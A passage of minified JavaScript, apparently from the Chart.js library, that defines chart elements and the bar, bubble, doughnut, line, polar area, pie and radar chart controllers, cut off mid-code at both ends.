n=this._view;return!!n&&Math.pow(e-n.x,2)+Math.pow(t-n.y,2)<Math.pow(n.hitRadius+n.radius,2)},inLabelRange:de,inXRange:de,inYRange:function(e){var t=this._view;return!!t&&Math.abs(e-t.y)<t.radius+t.hitRadius},getCenterPoint:function(){var e=this._view;return{x:e.x,y:e.y}},getArea:function(){return Math.PI*Math.pow(this._view.radius,2)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y,padding:e.radius+e.borderWidth}},draw:function(e){var t=this._view,n=this._chart.ctx,a=t.pointStyle,r=t.rotation,i=t.radius,s=t.x,o=t.y,l=F.global,d=l.defaultColor;t.skip||(void 0===e||W.canvas._isPointInArea(t,e))&&(n.strokeStyle=t.borderColor||d,n.lineWidth=oe(t.borderWidth,l.elements.point.borderWidth),n.fillStyle=t.backgroundColor||d,W.canvas.drawPoint(n,a,i,s,o,r))}}),ce=F.global.defaultColor;function he(e){return e&&void 0!==e.width}function me(e){var t,n,a,r,i;return he(e)?(t=e.x-(i=e.width/2),n=e.x+i,a=Math.min(e.y,e.base),r=Math.max(e.y,e.base)):(i=e.height/2,t=Math.min(e.x,e.base),n=Math.max(e.x,e.base),a=e.y-i,r=e.y+i),{left:t,top:a,right:n,bottom:r}}function _e(e,t,n){return e===t?n:e===n?t:e}function fe(e,t,n){var a=null===t,r=null===n,i=!(!e||a&&r)&&me(e);return i&&(a||t>=i.left&&t<=i.right)&&(r||n>=i.top&&n<=i.bottom)}F._set("global",{elements:{rectangle:{backgroundColor:ce,borderColor:ce,borderSkipped:"bottom",borderWidth:0}}});var pe=G.extend({_type:"rectangle",draw:function(){var e=this._chart.ctx,t=this._view,n=function(e){var t=me(e),n=t.right-t.left,a=t.bottom-t.top,r=function(e,t,n){var a,r,i,s,o=e.borderWidth,l=function(e){var t=e.borderSkipped,n={};return t?(e.horizontal?e.base>e.x&&(t=_e(t,"left","right")):e.base<e.y&&(t=_e(t,"bottom","top")),n[t]=!0,n):n}(e);return W.isObject(o)?(a=+o.top||0,r=+o.right||0,i=+o.bottom||0,s=+o.left||0):a=r=i=s=+o||0,{t:l.top||a<0?0:a>n?n:a,r:l.right||r<0?0:r>t?t:r,b:l.bottom||i<0?0:i>n?n:i,l:l.left||s<0?0:s>t?t:s}}(e,n/2,a/2);return{outer:{x:t.left,y:t.top,w:n,h:a},inner:{x:t.left+r.l,y:t.top+r.t,w:n-r.l-r.r,h:a-r.t-r.b}}}(t),a=n.outer,r=n.inner;e.fillStyle=t.backgroundColor,e.fillRect(a.x,a.y,a.w,a.h),a.w===r.w&&a.h===r.h||(e.save(),e.beginPath(),e.rect(a.x,a.y,a.w,a.h),e.clip(),e.fillStyle=t.borderColor,e.rect(r.x,r.y,r.w,r.h),e.fill("evenodd"),e.restore())},height:function(){var e=this._view;return e.base-e.y},inRange:function(e,t){return fe(this._view,e,t)},inLabelRange:function(e,t){var n=this._view;return he(n)?fe(n,e,null):fe(n,null,t)},inXRange:function(e){return fe(this._view,e,null)},inYRange:function(e){return fe(this._view,null,e)},getCenterPoint:function(){var e,t,n=this._view;return he(n)?(e=n.x,t=(n.y+n.base)/2):(e=(n.x+n.base)/2,t=n.y),{x:e,y:t}},getArea:function(){var e=this._view;return he(e)?e.width*Math.abs(e.y-e.base):e.height*Math.abs(e.x-e.base)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y}}}),ge={},be=se,ye=ue,Me=pe;ge.Arc=ae,ge.Line=be,ge.Point=ye,ge.Rectangle=Me;var ve=W._deprecated,Le=W.valueOrDefault;F._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),F._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var ke=ee.extend({dataElementType:ge.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var e,t,n=this;ee.prototype.initialize.apply(n,arguments),(e=n.getMeta()).stack=n.getDataset().stack,e.bar=!0,t=n._getIndexScale().options,ve("bar chart",t.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),ve("bar chart",t.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),ve("bar chart",t.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),ve("bar chart",n._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),ve("bar chart",t.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(e){var t,n,a=this.getMeta().data;for(this._ruler=this.getRuler(),t=0,n=a.length;t<n;++t)this.updateElement(a[t],t,e)},updateElement:function(e,t,n){var a=this,r=a.getMeta(),i=a.getDataset(),s=a._resolveDataElementOptions(e,t);e._xScale=a.getScaleForId(r.xAxisID),e._yScale=a.getScaleForId(r.yAxisID),e._datasetIndex=a.index,e._index=t,e._model={backgroundColor:s.backgroundColor,borderColor:s.borderColor,borderSkipped:s.borderSkipped,borderWidth:s.borderWidth,datasetLabel:i.label,label:a.chart.data.labels[t]},W.isArray(i.data[t])&&(e._model.borderSkipped=null),a._updateElementGeometry(e,t,n,s),e.pivot()},_updateElementGeometry:function(e,t,n,a){var r=this,i=e._model,s=r._getValueScale(),o=s.getBasePixel(),l=s.isHorizontal(),d=r._ruler||r.getRuler(),u=r.calculateBarValuePixels(r.index,t,a),c=r.calculateBarIndexPixels(r.index,t,d,a);i.horizontal=l,i.base=n?o:u.base,i.x=l?n?o:u.head:c.center,i.y=l?c.center:n?o:u.head,i.height=l?c.size:void 0,i.width=l?void 0:c.size},_getStacks:function(e){var t,n,a=this._getIndexScale(),r=a._getMatchingVisibleMetas(this._type),i=a.options.stacked,s=r.length,o=[];for(t=0;t<s&&(n=r[t],(!1===i||-1===o.indexOf(n.stack)||void 0===i&&void 0===n.stack)&&o.push(n.stack),n.index!==e);++t);return o},getStackCount:function(){return this._getStacks().length},getStackIndex:function(e,t){var n=this._getStacks(e),a=void 0!==t?n.indexOf(t):-1;return-1===a?n.length-1:a},getRuler:function(){var e,t,n=this._getIndexScale(),a=[];for(e=0,t=this.getMeta().data.length;e<t;++e)a.push(n.getPixelForValue(null,e,this.index));return{pixels:a,start:n._startPixel,end:n._endPixel,stackCount:this.getStackCount(),scale:n}},calculateBarValuePixels:function(e,t,n){var a,r,i,s,o,l,d,u=this.chart,c=this._getValueScale(),h=c.isHorizontal(),m=u.data.datasets,_=c._getMatchingVisibleMetas(this._type),f=c._parseValue(m[e].data[t]),p=n.minBarLength,g=c.options.stacked,b=this.getMeta().stack,y=void 0===f.start?0:f.max>=0&&f.min>=0?f.min:f.max,M=void 0===f.start?f.end:f.max>=0&&f.min>=0?f.max-f.min:f.min-f.max,v=_.length;if(g||void 0===g&&void 0!==b)for(a=0;a<v&&(r=_[a]).index!==e;++a)r.stack===b&&(i=void 0===(d=c._parseValue(m[r.index].data[t])).start?d.end:d.min>=0&&d.max>=0?d.max:d.min,(f.min<0&&i<0||f.max>=0&&i>0)&&(y+=i));return s=c.getPixelForValue(y),l=(o=c.getPixelForValue(y+M))-s,void 0!==p&&Math.abs(l)<p&&(l=p,o=M>=0&&!h||M<0&&h?s-p:s+p),{size:l,base:s,head:o,center:o+l/2}},calculateBarIndexPixels:function(e,t,n,a){var r="flex"===a.barThickness?function(e,t,n){var a,r=t.pixels,i=r[e],s=e>0?r[e-1]:null,o=e<r.length-1?r[e+1]:null,l=n.categoryPercentage;return null===s&&(s=i-(null===o?t.end-t.start:o-i)),null===o&&(o=i+i-s),a=i-(i-Math.min(s,o))/2*l,{chunk:Math.abs(o-s)/2*l/t.stackCount,ratio:n.barPercentage,start:a}}(t,n,a):function(e,t,n){var a,r,i=n.barThickness,s=t.stackCount,o=t.pixels[e],l=W.isNullOrUndef(i)?function(e,t){var n,a,r,i,s=e._length;for(r=1,i=t.length;r<i;++r)s=Math.min(s,Math.abs(t[r]-t[r-1]));for(r=0,i=e.getTicks().length;r<i;++r)a=e.getPixelForTick(r),s=r>0?Math.min(s,Math.abs(a-n)):s,n=a;return s}(t.scale,t.pixels):-1;return W.isNullOrUndef(i)?(a=l*n.categoryPercentage,r=n.barPercentage):(a=i*s,r=1),{chunk:a/s,ratio:r,start:o-a/2}}(t,n,a),i=this.getStackIndex(e,this.getMeta().stack),s=r.start+r.chunk*i+r.chunk/2,o=Math.min(Le(a.maxBarThickness,1/0),r.chunk*r.ratio);return{base:s-o/2,head:s+o/2,center:s,size:o}},draw:function(){var e=this.chart,t=this._getValueScale(),n=this.getMeta().data,a=this.getDataset(),r=n.length,i=0;for(W.canvas.clipArea(e.ctx,e.chartArea);i<r;++i){var s=t._parseValue(a.data[i]);isNaN(s.min)||isNaN(s.max)||n[i].draw()}W.canvas.unclipArea(e.ctx)},_resolveDataElementOptions:function(){var e=this,t=W.extend({},ee.prototype._resolveDataElementOptions.apply(e,arguments)),n=e._getIndexScale().options,a=e._getValueScale().options;return t.barPercentage=Le(n.barPercentage,t.barPercentage),t.barThickness=Le(n.barThickness,t.barThickness),t.categoryPercentage=Le(n.categoryPercentage,t.categoryPercentage),t.maxBarThickness=Le(n.maxBarThickness,t.maxBarThickness),t.minBarLength=Le(a.minBarLength,t.minBarLength),t}}),we=W.valueOrDefault,xe=W.options.resolve;F._set("bubble",{hover:{mode:"single"},scales:{xAxes:[{type:"linear",position:"bottom",id:"x-axis-0"}],yAxes:[{type:"linear",position:"left",id:"y-axis-0"}]},tooltips:{callbacks:{title:function(){return""},label:function(e,t){return(t.datasets[e.datasetIndex].label||"")+": ("+e.xLabel+", "+e.yLabel+", "+t.datasets[e.datasetIndex].data[e.index].r+")"}}}});var De=ee.extend({dataElementType:ge.Point,_dataElementOptions:["backgroundColor","borderColor","borderWidth","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth","hoverRadius","hitRadius","pointStyle","rotation"],update:function(e){var t=this,n=t.getMeta();W.each(n.data,(function(n,a){t.updateElement(n,a,e)}))},updateElement:function(e,t,n){var a=this,r=a.getMeta(),i=e.custom||{},s=a.getScaleForId(r.xAxisID),o=a.getScaleForId(r.yAxisID),l=a._resolveDataElementOptions(e,t),d=a.getDataset().data[t],u=a.index,c=n?s.getPixelForDecimal(.5):s.getPixelForValue("object"==typeof d?d:NaN,t,u),h=n?o.getBasePixel():o.getPixelForValue(d,t,u);e._xScale=s,e._yScale=o,e._options=l,e._datasetIndex=u,e._index=t,e._model={backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,hitRadius:l.hitRadius,pointStyle:l.pointStyle,rotation:l.rotation,radius:n?0:l.radius,skip:i.skip||isNaN(c)||isNaN(h),x:c,y:h},e.pivot()},setHoverStyle:function(e){var t=e._model,n=e._options,a=W.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=we(n.hoverBackgroundColor,a(n.backgroundColor)),t.borderColor=we(n.hoverBorderColor,a(n.borderColor)),t.borderWidth=we(n.hoverBorderWidth,n.borderWidth),t.radius=n.radius+n.hoverRadius},_resolveDataElementOptions:function(e,t){var n=this,a=n.chart,r=n.getDataset(),i=e.custom||{},s=r.data[t]||{},o=ee.prototype._resolveDataElementOptions.apply(n,arguments),l={chart:a,dataIndex:t,dataset:r,datasetIndex:n.index};return n._cachedDataOpts===o&&(o=W.extend({},o)),o.radius=xe([i.radius,s.r,n._config.radius,a.options.elements.point.radius],l,t),o}}),Ye=W.valueOrDefault,Te=Math.PI,Se=2*Te,Ce=Te/2;F._set("doughnut",{animation:{animateRotate:!0,animateScale:!1},hover:{mode:"single"},legendCallback:function(e){var t,n,a,r=document.createElement("ul"),i=e.data,s=i.datasets,o=i.labels;if(r.setAttribute("class",e.id+"-legend"),s.length)for(t=0,n=s[0].data.length;t<n;++t)(a=r.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=s[0].backgroundColor[t],o[t]&&a.appendChild(document.createTextNode(o[t]));return r.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(n,a){var r=e.getDatasetMeta(0),i=r.controller.getStyle(a);return{text:n,fillStyle:i.backgroundColor,strokeStyle:i.borderColor,lineWidth:i.borderWidth,hidden:isNaN(t.datasets[0].data[a])||r.data[a].hidden,index:a}})):[]}},onClick:function(e,t){var n,a,r,i=t.index,s=this.chart;for(n=0,a=(s.data.datasets||[]).length;n<a;++n)(r=s.getDatasetMeta(n)).data[i]&&(r.data[i].hidden=!r.data[i].hidden);s.update()}},cutoutPercentage:50,rotation:-Ce,circumference:Se,tooltips:{callbacks:{title:function(){return""},label:function(e,t){var n=t.labels[e.index],a=": "+t.datasets[e.datasetIndex].data[e.index];return W.isArray(n)?(n=n.slice())[0]+=a:n+=a,n}}}});var je=ee.extend({dataElementType:ge.Arc,linkScales:W.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],getRingIndex:function(e){for(var t=0,n=0;n<e;++n)this.chart.isDatasetVisible(n)&&++t;return t},update:function(e){var t,n,a=this,r=a.chart,i=r.chartArea,s=r.options,o=1,l=1,d=0,u=0,c=a.getMeta(),h=c.data,m=s.cutoutPercentage/100||0,_=s.circumference,f=a._getRingWeight(a.index);if(_<Se){var p=s.rotation%Se,g=(p+=p>=Te?-Se:p<-Te?Se:0)+_,b=Math.cos(p),y=Math.sin(p),M=Math.cos(g),v=Math.sin(g),L=p<=0&&g>=0||g>=Se,k=p<=Ce&&g>=Ce||g>=Se+Ce,w=p<=-Ce&&g>=-Ce||g>=Te+Ce,x=p===-Te||g>=Te?-1:Math.min(b,b*m,M,M*m),D=w?-1:Math.min(y,y*m,v,v*m),Y=L?1:Math.max(b,b*m,M,M*m),T=k?1:Math.max(y,y*m,v,v*m);o=(Y-x)/2,l=(T-D)/2,d=-(Y+x)/2,u=-(T+D)/2}for(t=0,n=h.length;t<n;++t)h[t]._options=a._resolveDataElementOptions(h[t],t);for(r.borderWidth=a.getMaxBorderWidth(),r.outerRadius=Math.max(Math.min((i.right-i.left-r.borderWidth)/o,(i.bottom-i.top-r.borderWidth)/l)/2,0),r.innerRadius=Math.max(r.outerRadius*m,0),r.radiusLength=(r.outerRadius-r.innerRadius)/(a._getVisibleDatasetWeightTotal()||1),r.offsetX=d*r.outerRadius,r.offsetY=u*r.outerRadius,c.total=a.calculateTotal(),a.outerRadius=r.outerRadius-r.radiusLength*a._getRingWeightOffset(a.index),a.innerRadius=Math.max(a.outerRadius-r.radiusLength*f,0),t=0,n=h.length;t<n;++t)a.updateElement(h[t],t,e)},updateElement:function(e,t,n){var a=this,r=a.chart,i=r.chartArea,s=r.options,o=s.animation,l=(i.left+i.right)/2,d=(i.top+i.bottom)/2,u=s.rotation,c=s.rotation,h=a.getDataset(),m=n&&o.animateRotate||e.hidden?0:a.calculateCircumference(h.data[t])*(s.circumference/Se),_=e._options||{};W.extend(e,{_datasetIndex:a.index,_index:t,_model:{backgroundColor:_.backgroundColor,borderColor:_.borderColor,borderWidth:_.borderWidth,borderAlign:_.borderAlign,x:l+r.offsetX,y:d+r.offsetY,startAngle:u,endAngle:c,circumference:m,outerRadius:n&&o.animateScale?0:a.outerRadius,innerRadius:n&&o.animateScale?0:a.innerRadius,label:W.valueAtIndexOrDefault(h.label,t,r.data.labels[t])}});var f=e._model;n&&o.animateRotate||(f.startAngle=0===t?s.rotation:a.getMeta().data[t-1]._model.endAngle,f.endAngle=f.startAngle+f.circumference),e.pivot()},calculateTotal:function(){var e,t=this.getDataset(),n=this.getMeta(),a=0;return W.each(n.data,(function(n,r){e=t.data[r],isNaN(e)||n.hidden||(a+=Math.abs(e))})),a},calculateCircumference:function(e){var t=this.getMeta().total;return t>0&&!isNaN(e)?Se*(Math.abs(e)/t):0},getMaxBorderWidth:function(e){var t,n,a,r,i,s,o,l,d=0,u=this.chart;if(!e)for(t=0,n=u.data.datasets.length;t<n;++t)if(u.isDatasetVisible(t)){e=(a=u.getDatasetMeta(t)).data,t!==this.index&&(i=a.controller);break}if(!e)return 0;for(t=0,n=e.length;t<n;++t)r=e[t],i?(i._configure(),s=i._resolveDataElementOptions(r,t)):s=r._options,"inner"!==s.borderAlign&&(d=(l=s.hoverBorderWidth)>(d=(o=s.borderWidth)>d?o:d)?l:d);return d},setHoverStyle:function(e){var t=e._model,n=e._options,a=W.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=Ye(n.hoverBackgroundColor,a(n.backgroundColor)),t.borderColor=Ye(n.hoverBorderColor,a(n.borderColor)),t.borderWidth=Ye(n.hoverBorderWidth,n.borderWidth)},_getRingWeightOffset:function(e){for(var t=0,n=0;n<e;++n)this.chart.isDatasetVisible(n)&&(t+=this._getRingWeight(n));return t},_getRingWeight:function(e){return Math.max(Ye(this.chart.data.datasets[e].weight,1),0)},_getVisibleDatasetWeightTotal:function(){return this._getRingWeightOffset(this.chart.data.datasets.length)}});F._set("horizontalBar",{hover:{mode:"index",axis:"y"},scales:{xAxes:[{type:"linear",position:"bottom"}],yAxes:[{type:"category",position:"left",offset:!0,gridLines:{offsetGridLines:!0}}]},elements:{rectangle:{borderSkipped:"left"}},tooltips:{mode:"index",axis:"y"}}),F._set("global",{datasets:{horizontalBar:{categoryPercentage:.8,barPercentage:.9}}});var Oe=ke.extend({_getValueScaleId:function(){return this.getMeta().xAxisID},_getIndexScaleId:function(){return this.getMeta().yAxisID}}),He=W.valueOrDefault,Ae=W.options.resolve,Pe=W.canvas._isPointInArea;function Fe(e,t){var n=e&&e.options.ticks||{},a=n.reverse,r=void 0===n.min?t:0,i=void 0===n.max?t:0;return{start:a?i:r,end:a?r:i}}function Ie(e,t,n){var a=n/2,r=Fe(e,a),i=Fe(t,a);return{top:i.end,right:r.end,bottom:i.start,left:r.start}}function Ee(e){var t,n,a,r;return W.isObject(e)?(t=e.top,n=e.right,a=e.bottom,r=e.left):t=n=a=r=e,{top:t,right:n,bottom:a,left:r}}F._set("line",{showLines:!0,spanGaps:!1,hover:{mode:"label"},scales:{xAxes:[{type:"category",id:"x-axis-0"}],yAxes:[{type:"linear",id:"y-axis-0"}]}});var Re=ee.extend({datasetElementType:ge.Line,dataElementType:ge.Point,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth","cubicInterpolationMode","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},update:function(e){var t,n,a=this,r=a.getMeta(),i=r.dataset,s=r.data||[],o=a._config,l=a._showLine=He(o.showLine,a.chart.options.showLines);for(a._xScale=a.getScaleForId(r.xAxisID),a._yScale=a.getScaleForId(r.yAxisID),l&&(void 0!==o.tension&&void 0===o.lineTension&&(o.lineTension=o.tension),i._scale=a._yScale,i._datasetIndex=a.index,i._children=s,i._model=a._resolveDatasetElementOptions(i),i.pivot()),t=0,n=s.length;t<n;++t)a.updateElement(s[t],t,e);for(l&&0!==i._model.tension&&a.updateBezierControlPoints(),t=0,n=s.length;t<n;++t)s[t].pivot()},updateElement:function(e,t,n){var a,r,i=this,s=i.getMeta(),o=e.custom||{},l=i.getDataset(),d=i.index,u=l.data[t],c=i._xScale,h=i._yScale,m=s.dataset._model,_=i._resolveDataElementOptions(e,t);a=c.getPixelForValue("object"==typeof u?u:NaN,t,d),r=n?h.getBasePixel():i.calculatePointY(u,t,d),e._xScale=c,e._yScale=h,e._options=_,e._datasetIndex=d,e._index=t,e._model={x:a,y:r,skip:o.skip||isNaN(a)||isNaN(r),radius:_.radius,pointStyle:_.pointStyle,rotation:_.rotation,backgroundColor:_.backgroundColor,borderColor:_.borderColor,borderWidth:_.borderWidth,tension:He(o.tension,m?m.tension:0),steppedLine:!!m&&m.steppedLine,hitRadius:_.hitRadius}},_resolveDatasetElementOptions:function(e){var t=this,n=t._config,a=e.custom||{},r=t.chart.options,i=r.elements.line,s=ee.prototype._resolveDatasetElementOptions.apply(t,arguments);return s.spanGaps=He(n.spanGaps,r.spanGaps),s.tension=He(n.lineTension,i.tension),s.steppedLine=Ae([a.steppedLine,n.steppedLine,i.stepped]),s.clip=Ee(He(n.clip,Ie(t._xScale,t._yScale,s.borderWidth))),s},calculatePointY:function(e,t,n){var a,r,i,s,o,l,d=this.chart,u=this._yScale,c=0,h=0;if(u.options.stacked){for(s=+u.getRightValue(e),l=(o=d._getSortedVisibleDatasetMetas()).length,a=0;a<l&&(r=o[a]).index!==n;++a)"line"===r.type&&r.yAxisID===u.id&&((i=+u.getRightValue(d.data.datasets[r.index].data[t]))<0?h+=i||0:c+=i||0);return u.getPixelForValue(s<0?h+s:c+s)}return u.getPixelForValue(e)},updateBezierControlPoints:function(){var e,t,n,a,r=this.chart,i=this.getMeta(),s=i.dataset._model,o=r.chartArea,l=i.data||[];function d(e,t,n){return Math.max(Math.min(e,n),t)}if(s.spanGaps&&(l=l.filter((function(e){return!e._model.skip}))),"monotone"===s.cubicInterpolationMode)W.splineCurveMonotone(l);else for(e=0,t=l.length;e<t;++e)n=l[e]._model,a=W.splineCurve(W.previousItem(l,e)._model,n,W.nextItem(l,e)._model,s.tension),n.controlPointPreviousX=a.previous.x,n.controlPointPreviousY=a.previous.y,n.controlPointNextX=a.next.x,n.controlPointNextY=a.next.y;if(r.options.elements.line.capBezierPoints)for(e=0,t=l.length;e<t;++e)Pe(n=l[e]._model,o)&&(e>0&&Pe(l[e-1]._model,o)&&(n.controlPointPreviousX=d(n.controlPointPreviousX,o.left,o.right),n.controlPointPreviousY=d(n.controlPointPreviousY,o.top,o.bottom)),e<l.length-1&&Pe(l[e+1]._model,o)&&(n.controlPointNextX=d(n.controlPointNextX,o.left,o.right),n.controlPointNextY=d(n.controlPointNextY,o.top,o.bottom)))},draw:function(){var e,t=this.chart,n=this.getMeta(),a=n.data||[],r=t.chartArea,i=t.canvas,s=0,o=a.length;for(this._showLine&&(W.canvas.clipArea(t.ctx,{left:!1===(e=n.dataset._model.clip).left?0:r.left-e.left,right:!1===e.right?i.width:r.right+e.right,top:!1===e.top?0:r.top-e.top,bottom:!1===e.bottom?i.height:r.bottom+e.bottom}),n.dataset.draw(),W.canvas.unclipArea(t.ctx));s<o;++s)a[s].draw(r)},setHoverStyle:function(e){var t=e._model,n=e._options,a=W.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=He(n.hoverBackgroundColor,a(n.backgroundColor)),t.borderColor=He(n.hoverBorderColor,a(n.borderColor)),t.borderWidth=He(n.hoverBorderWidth,n.borderWidth),t.radius=He(n.hoverRadius,n.radius)}}),Ne=W.options.resolve;F._set("polarArea",{scale:{type:"radialLinear",angleLines:{display:!1},gridLines:{circular:!0},pointLabels:{display:!1},ticks:{beginAtZero:!0}},animation:{animateRotate:!0,animateScale:!0},startAngle:-.5*Math.PI,legendCallback:function(e){var t,n,a,r=document.createElement("ul"),i=e.data,s=i.datasets,o=i.labels;if(r.setAttribute("class",e.id+"-legend"),s.length)for(t=0,n=s[0].data.length;t<n;++t)(a=r.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=s[0].backgroundColor[t],o[t]&&a.appendChild(document.createTextNode(o[t]));return r.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(n,a){var r=e.getDatasetMeta(0),i=r.controller.getStyle(a);return{text:n,fillStyle:i.backgroundColor,strokeStyle:i.borderColor,lineWidth:i.borderWidth,hidden:isNaN(t.datasets[0].data[a])||r.data[a].hidden,index:a}})):[]}},onClick:function(e,t){var n,a,r,i=t.index,s=this.chart;for(n=0,a=(s.data.datasets||[]).length;n<a;++n)(r=s.getDatasetMeta(n)).data[i].hidden=!r.data[i].hidden;s.update()}},tooltips:{callbacks:{title:function(){return""},label:function(e,t){return t.labels[e.index]+": "+e.yLabel}}}});var We=ee.extend({dataElementType:ge.Arc,linkScales:W.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,n,a,r=this,i=r.getDataset(),s=r.getMeta(),o=r.chart.options.startAngle||0,l=r._starts=[],d=r._angles=[],u=s.data;for(r._updateRadius(),s.count=r.countVisibleElements(),t=0,n=i.data.length;t<n;t++)l[t]=o,a=r._computeAngle(t),d[t]=a,o+=a;for(t=0,n=u.length;t<n;++t)u[t]._options=r._resolveDataElementOptions(u[t],t),r.updateElement(u[t],t,e)},_updateRadius:function(){var e=this,t=e.chart,n=t.chartArea,a=t.options,r=Math.min(n.right-n.left,n.bottom-n.top);t.outerRadius=Math.max(r/2,0),t.innerRadius=Math.max(a.cutoutPercentage?t.outerRadius/100*a.cutoutPercentage:1,0),t.radiusLength=(t.outerRadius-t.innerRadius)/t.getVisibleDatasetCount(),e.outerRadius=t.outerRadius-t.radiusLength*e.index,e.innerRadius=e.outerRadius-t.radiusLength},updateElement:function(e,t,n){var a=this,r=a.chart,i=a.getDataset(),s=r.options,o=s.animation,l=r.scale,d=r.data.labels,u=l.xCenter,c=l.yCenter,h=s.startAngle,m=e.hidden?0:l.getDistanceFromCenterForValue(i.data[t]),_=a._starts[t],f=_+(e.hidden?0:a._angles[t]),p=o.animateScale?0:l.getDistanceFromCenterForValue(i.data[t]),g=e._options||{};W.extend(e,{_datasetIndex:a.index,_index:t,_scale:l,_model:{backgroundColor:g.backgroundColor,borderColor:g.borderColor,borderWidth:g.borderWidth,borderAlign:g.borderAlign,x:u,y:c,innerRadius:0,outerRadius:n?p:m,startAngle:n&&o.animateRotate?h:_,endAngle:n&&o.animateRotate?h:f,label:W.valueAtIndexOrDefault(d,t,d[t])}}),e.pivot()},countVisibleElements:function(){var e=this.getDataset(),t=this.getMeta(),n=0;return W.each(t.data,(function(t,a){isNaN(e.data[a])||t.hidden||n++})),n},setHoverStyle:function(e){var t=e._model,n=e._options,a=W.getHoverColor,r=W.valueOrDefault;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=r(n.hoverBackgroundColor,a(n.backgroundColor)),t.borderColor=r(n.hoverBorderColor,a(n.borderColor)),t.borderWidth=r(n.hoverBorderWidth,n.borderWidth)},_computeAngle:function(e){var t=this,n=this.getMeta().count,a=t.getDataset(),r=t.getMeta();return isNaN(a.data[e])||r.data[e].hidden?0:Ne([t.chart.options.elements.arc.angle,2*Math.PI/n],{chart:t.chart,dataIndex:e,dataset:a,datasetIndex:t.index},e)}});F._set("pie",W.clone(F.doughnut)),F._set("pie",{cutoutPercentage:0});var ze=je,Ve=W.valueOrDefault;F._set("radar",{spanGaps:!1,scale:{type:"radialLinear"},elements:{line:{fill:"start",tension:0}}});var qe=ee.extend({datasetElementType:ge.Line,dataElementType:ge.Point,linkScales:W.noop,_datasetElementOptions:["backgroundColor","borderWidth","borderColor","borderCapStyle","borderDash","borderDashOffset","borderJoinStyle","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,n,a=this,r=a.getMeta(),i=r.dataset,s=r.data||[],o=a.chart.scale,l=a._config;for(void 0!==l.tension&&void 0===l.lineTension&&(l.lineTension=l.tension),i._scale=o,i._datasetIndex=a.index,i._children=s,i._loop=!0,i._model=a._resolveDatasetElementOptions(i),i.pivot(),t=0,n=s.length;t<n;++t)a.updateElement(s[t],t,e);for(a.updateBezierControlPoints(),t=0,n=s.length;t<n;++t)s[t].pivot()},updateElement:function(e,t,n){var a=this,r=e.custom||{},i=a.getDataset(),s=a.chart.scale,o=s.getPointPositionForValue(t,i.data[t]),l=a._resolveDataElementOptions(e,t),d=a.getMeta().dataset._model,u=n?s.xCenter:o.x,c=n?s.yCenter:o.y;e._scale=s,e._options=l,e._datasetIndex=a.index,e._index=t,e._model={x:u,y:c,skip:r.skip||isNaN(u)||isNaN(c),radius:l.radius,pointStyle:l.pointStyle,rotation:l.rotation,backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,tension:Ve(r.tension,d?d.tension:0),hitRadius:l.hitRadius}},_resolveDatasetElementOptions:function(){var e=this,t=e._config,n=e.chart.options,a=ee.prototype._resolveDatasetElementOptions.apply(e,arguments);return a.spanGaps=Ve(t.spanGaps,n.spanGaps),a.tension=Ve(t.lineTension,n.elements.line.tension),a},updateBezierControlPoints:function(){var e,t,n,a,r=this.getMeta(),i=this.chart.chartArea,s=r.data||[];function o(e,t,n){return 